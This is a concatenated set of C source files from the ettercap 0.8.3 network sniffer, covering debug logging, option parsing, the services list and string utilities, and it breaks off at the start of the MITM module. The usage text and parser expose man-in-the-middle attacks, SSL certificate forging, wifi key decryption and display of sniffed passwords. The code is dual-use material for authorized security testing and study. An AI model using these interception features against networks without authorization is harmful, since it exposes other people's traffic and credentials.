filename); return filename; } /* * opens a file in the share directory. * first look in the installation path, then locally. */ FILE * open_data(char *dir, char *file, char *mode) { FILE *fd; char *filename = NULL; filename = get_full_path(dir, file); DEBUG_MSG("open_data (%s)", filename); fd = fopen(filename, mode); if (fd == NULL) { SAFE_FREE(filename); filename = get_local_path(file); DEBUG_MSG("open_data dropping to %s", filename); fd = fopen(filename, mode); /* don't check the fd, it is done by the caller */ } SAFE_FREE(filename); return fd; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_debug.c0000644000175000017500000001047213505247364015670 0ustar koeppeakoeppea/* ettercap -- debug module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #ifdef HAVE_EC_LUA #include #endif #include #include #ifdef DEBUG #include #include #ifdef HAVE_PCRE #include #endif #include #include #include #include #ifdef HAVE_SYS_UTSNAME_H #include #ifdef OS_LINUX #include #endif #endif /* globals */ FILE *debug_file = NULL; static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; #define DEBUG_LOCK do{ pthread_mutex_lock(&debug_mutex); } while(0) #define DEBUG_UNLOCK do{ pthread_mutex_unlock(&debug_mutex); } while(0) /* protos */ static void debug_close(void); /**********************************/ void debug_init(void) { #ifdef HAVE_SYS_UTSNAME_H struct utsname buf; #endif DEBUG_LOCK; if ((debug_file = fopen (EC_GBL_DEBUG_FILE, "w")) == NULL) ERROR_MSG("Couldn't open for writing %s", EC_GBL_DEBUG_FILE); fprintf (debug_file, "\n==============================================================\n\n"); fprintf (debug_file, "-> ${prefix} %s\n", INSTALL_PREFIX); fprintf (debug_file, "-> ${exec_prefix} %s\n", INSTALL_EXECPREFIX); fprintf (debug_file, "-> ${bindir} %s\n", INSTALL_BINDIR); fprintf (debug_file, "-> ${libdir} %s\n", INSTALL_LIBDIR); fprintf (debug_file, "-> ${sysconfdir} %s\n", INSTALL_SYSCONFDIR); fprintf (debug_file, "-> ${datadir} %s\n\n", INSTALL_DATADIR); #ifdef HAVE_EC_LUA ec_lua_print_info(debug_file); #endif fprintf (debug_file, "-> %s %s\n\n", EC_GBL_PROGRAM, EC_GBL_VERSION); #ifdef HAVE_SYS_UTSNAME_H uname(&buf); fprintf (debug_file, "-> running on %s %s %s\n", buf.sysname, buf.release, buf.machine); #endif #if defined (__GNUC__) && defined (__GNUC_MINOR__) fprintf (debug_file, "-> compiled with gcc %d.%d (%s)\n", __GNUC__, __GNUC_MINOR__, CC_VERSION); #endif #if defined (__GLIBC__) && defined (__GLIBC_MINOR__) fprintf (debug_file, "-> glibc version %d.%d\n", __GLIBC__, __GLIBC_MINOR__); #endif fprintf(debug_file, "-> %s\n", pcap_lib_version()); fprintf(debug_file, "-> libnet version %s\n", LIBNET_VERSION); fprintf(debug_file, "-> libz version %s\n", zlibVersion()); #ifdef HAVE_PCRE fprintf(debug_file, "-> libpcre version %s\n", pcre_version()); #endif #ifdef HAVE_EC_LUA ec_lua_print_version(debug_file); #endif fprintf (debug_file, "-> lib %s\n", SSLeay_version(SSLEAY_VERSION)); fprintf (debug_file, "-> headers %s\n", OPENSSL_VERSION_TEXT); fprintf (debug_file, "\n\nDEVICE OPENED FOR %s DEBUGGING\n\n", EC_GBL_PROGRAM); fflush(debug_file); DEBUG_UNLOCK; atexit(debug_close); } void debug_close(void) { DEBUG_LOCK; fprintf (debug_file, "\n\nDEVICE CLOSED FOR DEBUGGING\n\n"); fflush(debug_file); fclose (debug_file); /* set it to null and check from other threads */ debug_file = NULL; DEBUG_UNLOCK; } void debug_msg(const char *message, ...) { va_list ap; char debug_message[strlen(message)+2]; DEBUG_LOCK; /* if it was closed by another thread on exit */ if (debug_file == NULL) return; fprintf(debug_file, "[%9s]\t", ec_thread_getname(EC_PTHREAD_SELF)); strlcpy(debug_message, message, sizeof(debug_message)); strlcat(debug_message, "\n", sizeof(debug_message)); va_start(ap, message); vfprintf(debug_file, debug_message, ap); va_end(ap); fflush(debug_file); DEBUG_UNLOCK; } #endif /* DEBUG */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_mem.c0000644000175000017500000000210713505247364015354 0ustar koeppeakoeppea/* ettercap -- global variables handling module Copyright (C) Ettercap Development Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include void safe_free_mem(char **param, int *param_length, char *command) { int k; SAFE_FREE(command); for(k= 0; k < (*param_length); ++k) SAFE_FREE(param[k]); SAFE_FREE(param); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_parser.c0000644000175000017500000004101013505247364016066 0ustar koeppeakoeppea/* ettercap -- parsing utilities Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_EC_LUA #include #endif #include #ifdef HAVE_GETOPT_H #include #else #include #endif /* protos... */ static void ec_usage(void); /*****************************************/ void ec_usage(void) { fprintf(stdout, "\nUsage: %s [OPTIONS] [TARGET1] [TARGET2]\n", EC_GBL_PROGRAM); #ifdef WITH_IPV6 fprintf(stdout, "\nTARGET is in the format MAC/IP/IPv6/PORTs (see the man for further detail)\n"); #else fprintf(stdout, "\nTARGET is in the format MAC/IP/PORTs (see the man for further detail)\n"); #endif fprintf(stdout, "\nSniffing and Attack options:\n"); fprintf(stdout, " -M, --mitm perform a mitm attack\n"); fprintf(stdout, " -o, --only-mitm don't sniff, only perform the mitm attack\n"); fprintf(stdout, " -b, --broadcast sniff packets destined to broadcast\n"); fprintf(stdout, " -B, --bridge use bridged sniff (needs 2 ifaces)\n"); fprintf(stdout, " -p, --nopromisc do not put the iface in promisc mode\n"); fprintf(stdout, " -S, --nosslmitm do not forge SSL certificates\n"); fprintf(stdout, " -u, --unoffensive do not forward packets\n"); fprintf(stdout, " -r, --read read data from pcapfile \n"); fprintf(stdout, " -f, --pcapfilter set the pcap filter \n"); fprintf(stdout, " -R, --reversed use reversed TARGET matching\n"); fprintf(stdout, " -t, --proto sniff only this proto (default is all)\n"); fprintf(stdout, " --certificate certificate file to use for SSL MiTM\n"); fprintf(stdout, " --private-key private key file to use for SSL MiTM\n"); fprintf(stdout, "\nUser Interface Type:\n"); fprintf(stdout, " -T, --text use text only GUI\n"); fprintf(stdout, " -q, --quiet do not display packet contents\n"); fprintf(stdout, " -s, --script issue these commands to the GUI\n"); fprintf(stdout, " -C, --curses use curses GUI\n"); fprintf(stdout, " -D, --daemon daemonize ettercap (no GUI)\n"); fprintf(stdout, " -G, --gtk use GTK+ GUI\n"); fprintf(stdout, "\nLogging options:\n"); fprintf(stdout, " -w, --write write sniffed data to pcapfile \n"); fprintf(stdout, " -L, --log log all the traffic to this \n"); fprintf(stdout, " -l, --log-info log only passive infos to this \n"); fprintf(stdout, " -m, --log-msg log all the messages to this \n"); fprintf(stdout, " -c, --compress use gzip compression on log files\n"); fprintf(stdout, "\nVisualization options:\n"); fprintf(stdout, " -d, --dns resolves ip addresses into hostnames\n"); fprintf(stdout, " -V, --visual set the visualization format\n"); fprintf(stdout, " -e, --regex visualize only packets matching this regex\n"); fprintf(stdout, " -E, --ext-headers print extended header for every pck\n"); fprintf(stdout, " -Q, --superquiet do not display user and password\n"); #ifdef HAVE_EC_LUA fprintf(stdout, "\nLUA options:\n"); fprintf(stdout, " --lua-script ,[,...] comma-separted list of LUA scripts\n"); fprintf(stdout, " --lua-args n1=v1,[n2=v2,...] comma-separated arguments to LUA script(s)\n"); #endif fprintf(stdout, "\nGeneral options:\n"); fprintf(stdout, " -i, --iface use this network interface\n"); fprintf(stdout, " -I, --liface show all the network interfaces\n"); fprintf(stdout, " -Y, --secondary list of secondary network interfaces\n"); fprintf(stdout, " -n, --netmask force this on iface\n"); fprintf(stdout, " -A, --address
force this local
on iface\n"); fprintf(stdout, " -P, --plugin launch this \n"); fprintf(stdout, " -F, --filter load the filter (content filter)\n"); fprintf(stdout, " -z, --silent do not perform the initial ARP scan\n"); #ifdef WITH_IPV6 fprintf(stdout, " -6, --ip6scan send ICMPv6 probes to discover IPv6 nodes on the link\n"); #endif fprintf(stdout, " -j, --load-hosts load the hosts list from \n"); fprintf(stdout, " -k, --save-hosts save the hosts list to \n"); fprintf(stdout, " -W, --wifi-key use this key to decrypt wifi packets (wep or wpa)\n"); fprintf(stdout, " -a, --config use the alternative config file \n"); fprintf(stdout, "\nStandard options:\n"); fprintf(stdout, " -v, --version prints the version and exit\n"); fprintf(stdout, " -h, --help this help screen\n"); fprintf(stdout, "\n\n"); //clean_exit(0); exit(0); } void parse_options(int argc, char **argv) { int c; static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, { "iface", required_argument, NULL, 'i' }, { "lifaces", no_argument, NULL, 'I' }, { "netmask", required_argument, NULL, 'n' }, { "address", required_argument, NULL, 'A' }, { "write", required_argument, NULL, 'w' }, { "read", required_argument, NULL, 'r' }, { "pcapfilter", required_argument, NULL, 'f' }, { "reversed", no_argument, NULL, 'R' }, { "proto", required_argument, NULL, 't' }, { "plugin", required_argument, NULL, 'P' }, { "filter", required_argument, NULL, 'F' }, #ifdef HAVE_EC_LUA { "lua-script", required_argument, NULL, 0 }, { "lua-args", required_argument, NULL, 0 }, #endif { "superquiet", no_argument, NULL, 'Q' }, { "quiet", no_argument, NULL, 'q' }, { "script", required_argument, NULL, 's' }, { "silent", no_argument, NULL, 'z' }, #ifdef WITH_IPV6 { "ip6scan", no_argument, NULL, '6' }, #endif { "unoffensive", no_argument, NULL, 'u' }, { "nosslmitm", no_argument, NULL, 'S' }, { "load-hosts", required_argument, NULL, 'j' }, { "save-hosts", required_argument, NULL, 'k' }, { "wifi-key", required_argument, NULL, 'W' }, { "config", required_argument, NULL, 'a' }, { "dns", no_argument, NULL, 'd' }, { "regex", required_argument, NULL, 'e' }, { "visual", required_argument, NULL, 'V' }, { "ext-headers", no_argument, NULL, 'E' }, { "log", required_argument, NULL, 'L' }, { "log-info", required_argument, NULL, 'l' }, { "log-msg", required_argument, NULL, 'm' }, { "compress", no_argument, NULL, 'c' }, { "text", no_argument, NULL, 'T' }, { "curses", no_argument, NULL, 'C' }, { "daemon", no_argument, NULL, 'D' }, { "gtk", no_argument, NULL, 'G' }, { "mitm", required_argument, NULL, 'M' }, { "only-mitm", no_argument, NULL, 'o' }, { "bridge", required_argument, NULL, 'B' }, { "broadcast", required_argument, NULL, 'b' }, { "nopromisc", no_argument, NULL, 'p' }, { "gateway", required_argument, NULL, 'Y' }, { "certificate", required_argument, NULL, 0 }, { "private-key", required_argument, NULL, 0 }, { 0 , 0 , 0 , 0} }; for (c = 0; c < argc; c++) DEBUG_MSG("parse_options -- [%d] [%s]", c, argv[c]); /* OPTIONS INITIALIZATION */ EC_GBL_PCAP->promisc = 1; EC_GBL_FORMAT = &ascii_format; EC_GBL_OPTIONS->ssl_mitm = 1; EC_GBL_OPTIONS->broadcast = 0; EC_GBL_OPTIONS->ssl_cert = NULL; EC_GBL_OPTIONS->ssl_pkey = NULL; /* OPTIONS INITIALIZED */ optind = 0; int option_index = 0; while ((c = getopt_long (argc, argv, "A:a:bB:CchDdEe:F:f:GhIi:j:k:L:l:M:m:n:oP:pQqiRr:s:STt:uV:vW:w:Y:z6", long_options, &option_index)) != EOF) { /* used for parsing arguments */ char *opt_end = optarg; while (opt_end && *opt_end) opt_end++; /* enable a loaded filter script? */ switch (c) { case 'M': set_mitm(optarg); break; case 'o': set_onlymitm(); //select_text_interface(); break; case 'b': set_broadcast(); break; case 'B': set_iface_bridge(optarg); break; case 'p': set_promisc(); break; #ifndef JUST_LIBRARY case 'T': select_text_interface(); break; case 'C': select_curses_interface(); break; case 'G': select_gtk_interface(); break; case 'D': select_daemon_interface(); break; #endif case 'R': set_reversed(); break; case 't': set_proto(optarg); break; case 'P': set_plugin(optarg); break; case 'i': set_iface(optarg); break; case 'I': /* this option is only useful in the text interface */ set_lifaces(); select_text_interface(); break; case 'Y': set_secondary(optarg); break; case 'n': set_netmask(optarg); break; case 'A': set_address(optarg); break; case 'r': set_read_pcap(optarg); break; case 'w': set_write_pcap(optarg); break; case 'f': set_pcap_filter(optarg); break; case 'F': set_filter(opt_end, optarg); break; case 'L': set_loglevel_packet(optarg); break; case 'l': set_loglevel_info(optarg); break; case 'm': set_loglevel_true(optarg); break; case 'c': set_compress(); break; case 'e': opt_set_regex(optarg); break; case 'Q': set_superquiet(); /* no break, quiet must be enabled */ /* fall through */ case 'q': set_quiet(); break; case 's': set_script(optarg); break; case 'z': set_silent(); break; #ifdef WITH_IPV6 case '6': set_ip6scan(); break; #endif case 'u': set_unoffensive(); break; case 'S': disable_sslmitm(); break; case 'd': set_resolve(); break; case 'j': set_load_hosts(optarg); break; case 'k': set_save_hosts(optarg); break; case 'V': opt_set_format(optarg); break; case 'E': set_ext_headers(); break; case 'W': set_wifi_key(optarg); break; case 'a': set_conf_file(optarg); break; case 'h': ec_usage(); break; case 'v': printf("%s %s\n", EC_GBL_PROGRAM, EC_GBL_VERSION); clean_exit(0); break; /* Certificate and private key options */ case 0: if (!strcmp(long_options[option_index].name, "certificate")) { EC_GBL_OPTIONS->ssl_cert = strdup(optarg); } else if (!strcmp(long_options[option_index].name, "private-key")) { EC_GBL_OPTIONS->ssl_pkey = strdup(optarg); #ifdef HAVE_EC_LUA } else if (!strcmp(long_options[option_index].name,"lua-args")) { ec_lua_cli_add_args(strdup(optarg)); } else if (!strcmp(long_options[option_index].name,"lua-script")) { ec_lua_cli_add_script(strdup(optarg)); break; #endif } else { fprintf(stdout, "\nTry `%s --help' for more options.\n\n", EC_GBL_PROGRAM); clean_exit(-1); } break; case ':': // missing parameter fprintf(stdout, "\nTry `%s --help' for more options.\n\n", EC_GBL_PROGRAM); clean_exit(-1); break; case '?': // unknown option fprintf(stdout, "\nTry `%s --help' for more options.\n\n", EC_GBL_PROGRAM); clean_exit(-1); break; } } DEBUG_MSG("parse_options: options parsed"); /* TARGET1 and TARGET2 parsing */ if (argv[optind]) { EC_GBL_OPTIONS->target1 = strdup(argv[optind]); DEBUG_MSG("TARGET1: %s", EC_GBL_OPTIONS->target1); if (argv[optind+1]) { EC_GBL_OPTIONS->target2 = strdup(argv[optind+1]); DEBUG_MSG("TARGET2: %s", EC_GBL_OPTIONS->target2); } } /* create the list form the TARGET format (MAC/IPrange/PORTrange) */ compile_display_filter(); DEBUG_MSG("parse_options: targets parsed"); /* check for other options */ if (EC_GBL_SNIFF->start == NULL) set_unified_sniff(); if (EC_GBL_OPTIONS->read && EC_GBL_PCAP->filter) FATAL_ERROR("Cannot read from file and set a filter on interface"); if (EC_GBL_OPTIONS->read && EC_GBL_SNIFF->type != SM_UNIFIED ) FATAL_ERROR("You can read from a file ONLY in unified sniffing mode !"); if (EC_GBL_OPTIONS->mitm && EC_GBL_SNIFF->type != SM_UNIFIED ) FATAL_ERROR("You can't do mitm attacks in bridged sniffing mode !"); if (EC_GBL_SNIFF->type == SM_BRIDGED && EC_GBL_PCAP->promisc == 0) FATAL_ERROR("During bridged sniffing the iface must be in promisc mode !"); if (EC_GBL_OPTIONS->quiet && EC_GBL_UI->type != UI_TEXT) FATAL_ERROR("The quiet option is useful only with text only UI"); if (EC_GBL_OPTIONS->load_hosts && EC_GBL_OPTIONS->save_hosts) FATAL_ERROR("Cannot load and save at the same time the hosts list..."); if (EC_GBL_OPTIONS->unoffensive && EC_GBL_OPTIONS->mitm) FATAL_ERROR("Cannot use mitm attacks in unoffensive mode"); if (EC_GBL_OPTIONS->read && EC_GBL_OPTIONS->mitm) FATAL_ERROR("Cannot use mitm attacks while reading from file"); #ifndef JUST_LIBRARY if (EC_GBL_UI->init == NULL) FATAL_ERROR("Please select an User Interface"); #endif /* force text interface for only mitm attack */ /* Do not select text interface for only MiTM mode if (EC_GBL_OPTIONS->only_mitm) { if (EC_GBL_OPTIONS->mitm) select_text_interface(); else FATAL_ERROR("Only mitm requires at least one mitm method"); } */ DEBUG_MSG("parse_options: options combination looks good"); return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_services.c0000644000175000017500000000552213505247364016425 0ustar koeppeakoeppea/* ettercap -- services list module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ static SLIST_HEAD(, entry) serv_head; struct entry { u_int32 serv; u_int16 proto; char *name; SLIST_ENTRY(entry) next; }; /* protos */ static void discard_servdb(void); int services_init(void); char * service_search(u_int32 serv, u_int8 proto); /*****************************************/ static void discard_servdb(void) { struct entry *l; while (SLIST_FIRST(&serv_head) != NULL) { l = SLIST_FIRST(&serv_head); SLIST_REMOVE_HEAD(&serv_head, next); SAFE_FREE(l->name); SAFE_FREE(l); } DEBUG_MSG("ATEXIT: discard_servdb"); return; } int services_init(void) { struct entry *s; FILE *f; char line[128]; char name[32]; char type[8]; u_int serv; u_int8 proto; int i = 0; /* errors are handled by the function */ f = open_data("share", SERVICES_NAMES, FOPEN_READ_TEXT); ON_ERROR(f, NULL, "Cannot open %s", SERVICES_NAMES); while (fgets(line, 80, f) != 0) { if (sscanf(line, "%31s%u/%7s", name, &serv, type) != 3) continue; /* only tcp and udp services */ if (!strcmp(type, "tcp")) proto = NL_TYPE_TCP; else if (!strcmp(type, "udp")) proto = NL_TYPE_UDP; else continue; /* skip comments */ if (strstr(name, "#")) continue; SAFE_CALLOC(s, 1, sizeof(struct entry)); s->name = strdup(name); s->serv = htons(serv); s->proto = proto; SLIST_INSERT_HEAD(&serv_head, s, next); i++; } DEBUG_MSG("serv_init -- %d services loaded", i); USER_MSG("%4d known services\n", i); fclose(f); atexit(discard_servdb); return i; } /* * search for a service and * return its name */ char * service_search(u_int32 serv, u_int8 proto) { struct entry *s; SLIST_FOREACH(s, &serv_head, next) { if (s->serv == serv && s->proto == proto) return (s->name); } /* empty name for unknown services */ return ""; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_strings.c0000644000175000017500000002724413505247364016300 0ustar koeppeakoeppea/* ettercap -- string manipulation functions Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* protos... */ #ifndef HAVE_CTYPE_H int isprint(int c); #endif static int hextoint(int c); /*******************************************/ /* implement the function if it is not available */ #ifndef HAVE_CTYPE_H int isprint(int c) { return ( (c > 31 && c < 127) ? 1 : 0 ); } #endif /* Pattern matching code from OpenSSH. */ int match_pattern(const char *s, const char *pattern) { for (;;) { if (!*pattern) return (!*s); if (*pattern == '*') { pattern++; if (!*pattern) return (1); if (*pattern != '?' && *pattern != '*') { for (; *s; s++) { if (*s == *pattern && match_pattern(s + 1, pattern + 1)) return (1); } return (0); } for (; *s; s++) { if (match_pattern(s, pattern)) return (1); } return (0); } if (!*s) return (0); if (*pattern != '?' && *pattern != *s) return (0); s++; pattern++; } /* NOTREACHED */ } /* stolen from ap_base64.c (apache source code) */ static const unsigned char pr2six[256] = { /* ASCII table */ 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 }; int base64_decode(char *bufplain, const char *bufcoded) { int nbytesdecoded; register const unsigned char *bufin; register unsigned char *bufout; register int nprbytes; bufin = (const unsigned char *) bufcoded; while (pr2six[*(bufin++)] <= 63); nprbytes = (bufin - (const unsigned char *) bufcoded) - 1; nbytesdecoded = ((nprbytes + 3) / 4) * 3; bufout = (unsigned char *) bufplain; bufin = (const unsigned char *) bufcoded; while (nprbytes > 4) { *(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); *(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); *(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); bufin += 4; nprbytes -= 4; } /* Note: (nprbytes == 1) would be an error, so just ingore that case */ if (nprbytes > 1) *(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); if (nprbytes > 2) *(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); if (nprbytes > 3) *(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); nbytesdecoded -= (4 - nprbytes) & 3; bufplain[nbytesdecoded] = '\0'; return nbytesdecoded; } /* adapted from magic.c part of dsniff source code... */ /* * convert an HEX rapresentation into int */ static int hextoint(int c) { if (!isascii((int) c)) return (-1); if (isdigit((int) c)) return (c - '0'); if ((c >= 'a') && (c <= 'f')) return (c + 10 - 'a'); if ((c >= 'A') && (c <= 'F')) return (c + 10 - 'A'); return (-1); } /* * convert the escaped string into a binary one */ int strescape(char *dst, char *src, size_t len) { char *olddst = dst; char *oldsrc = src; int c; int val; while ((c = *src++) != '\0' && (size_t)(src - oldsrc) <= len) { if (c == '\\') { switch ((c = *src++)) { case '\0': goto strend; default: *dst++ = (char) c; break; case 'n': *dst++ = '\n'; break; case 'r': *dst++ = '\r'; break; case 'b': *dst++ = '\b'; break; case 't': *dst++ = '\t'; break; case 'f': *dst++ = '\f'; break; case 'v': *dst++ = '\v'; break; /* \ and up to 3 octal digits */ case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': val = c - '0'; c = *src++; /* try for 2 */ if (c >= '0' && c <= '7') { val = (val << 3) | (c - '0'); c = *src++; /* try for 3 */ if (c >= '0' && c <= '7') val = (val << 3) | (c - '0'); else if (src > oldsrc) /* protect against buffer underflow */ --src; } else if (src > oldsrc) /* protect against buffer underflow */ --src; *dst++ = (char) val; break; case 'x': val = 'x'; /* Default if no digits */ c = hextoint(*src++); /* Get next char */ if (c >= 0) { val = c; c = hextoint(*src++); if (c >= 0) val = (val << 4) + c; else if (src > oldsrc) /* protect against buffer underflow */ --src; } else if (src > oldsrc) /* protect against buffer underflow */ --src; *dst++ = (char) val; break; } } else if (c == 8 || c == 263) { /* the backspace */ if (dst > oldsrc) /* protect against buffer underflow */ dst--; } else *dst++ = (char) c; } strend: *dst = '\0'; return (dst - olddst); } /* * replace 's' with 'd' in the string 'text' * text will be realloc'ed, so a pointer is needed * and stack based array can't be used */ int str_replace(char **text, const char *s, const char *d) { size_t slen = strlen(s); size_t dlen = strlen(d); int diff = dlen - slen; char *p, *q = *text; size_t size; /* the search string does not exist */ if (strstr(*text, s) == NULL) return -E_NOTFOUND; /* search all the occurrence of 's' */ while ( (p = strstr(q, s)) != NULL ) { /* the new size */ if (diff > 0) size = strlen(q) + diff + 1; else size = strlen(q) + 1; SAFE_REALLOC(*text, size); q = *text; /* * make sure the pointer p is within the *text memory. * realloc may have moved it... */ p = strstr(q, s); if (p==NULL) continue; /* do the actual replacement */ memmove(p + dlen, p + slen, strlen(p + slen) + 1); memcpy(p, d, dlen); /* avoid recursion on substituted string */ q = p + dlen; } return E_SUCCESS; } /* * Calculate the correct length of characters in an UTF-8 encoded string. */ size_t strlen_utf8(const char *s) { u_char c; size_t len = 0; while ((c = *s++)) { if ((c & 0xC0) != 0x80) ++len; } return len; } /* * a reentrant version of strtok */ char * ec_strtok(char *s, const char *delim, char **ptrptr) { #ifdef HAVE_STRTOK_R return strtok_r(s, delim, ptrptr); #else #warning unsafe strtok /* to avoid the warning on this function (the wrapper macro) */ #undef strtok return strtok(s, delim); #endif } /* * simulate the getchar() on a buffer instead of on the stdin. * also simulate sleep with s(x) for x seconds. */ char getchar_buffer(char **buf) { char ret; DEBUG_MSG("getchar_buffer: %s", *buf); /* the buffer is empty, do nothing */ if (**buf == 0) return 0; /* simulate the sleep if we find s(x) */ if (*(*buf + 0) == 's' && *(*buf + 1) == '(') { char *p; int time = 0; p = strchr(*buf, ')'); if (p != NULL) { *p = '\0'; /* get the number of seconds to wait */ time = atoi(*buf + 2); DEBUG_MSG("getchar_buffer: sleeping %d secs", time); /* move the buffer after the s(x) */ *buf = p + 1; ec_usleep(SEC2MICRO(time)); } } /* get the first char of the buffer */ ret = *buf[0]; /* increment the buffer pointer */ *buf = *buf + 1; DEBUG_MSG("getchar_buffer: returning %c", ret); return ret; } /* convert a string of hex values into an array of bytes */ int str_hex_to_bytes(char *string, u_char *bytes) { char value[3]; /* two for the hex and the NULL terminator */ unsigned int value_bin; u_int i; size_t slen; slen = strlen(string); for (i = 0; i < slen; i++) { strncpy(value, string + i*2, 2); if (sscanf(value, "%02X", &value_bin) != 1) return -E_INVALID; bytes[i] = value_bin & 0x000000FF; } return 0; } /* print a binary string in hex format */ char * str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len) { size_t i; memset(dst, 0, dst_len); for (i = 0; i < len; i++) sprintf(dst + i*2, "%02X", bin[i]); return dst; } /* split ip from port */ int ec_strsplit_ipport(char *input, char *ip, u_int16 *port) { static char ip_tmp[MAX_ASCII_ADDR_LEN]; /* Format for IPv4: 1.2.3.4:80 */ if (sscanf(input, "%20[0-9.]:%hu", ip_tmp, port) == 2) { strncpy(ip, ip_tmp, strlen(ip_tmp)+1); return E_SUCCESS; } /* Format for IPv6: [2001:db8::1]:80 */ if (sscanf(input, "[%40[0-9a-fA-F:.]]:%hu", ip_tmp, port) == 2) { strncpy(ip, ip_tmp, strlen(ip_tmp)+1); return E_SUCCESS; } DEBUG_MSG("ec_strsplit_ipport(): error splitting ip:port: '%s'\n", input); return -E_INVALID; } /* duplicate string in all letters lowercase */ const char *ec_strlc(const char *input) { char *output, *ptr; ptr = output = strdup(input); do { *ptr = tolower(*ptr); } while (*(ptr++) != 0); return output; } /* duplicate string in all letters uppercase */ const char *ec_struc(const char *input) { char *output, *ptr; ptr = output = strdup(input); do { *ptr = toupper(*ptr); } while (*(ptr++) != 0); return output; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_mitm.c0000644000175000017500000001140113505247364015541 0ustar koeppeakoeppea/* ettercap -- mitm management module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* globals */ static SLIST_HEAD (, mitm_entry) 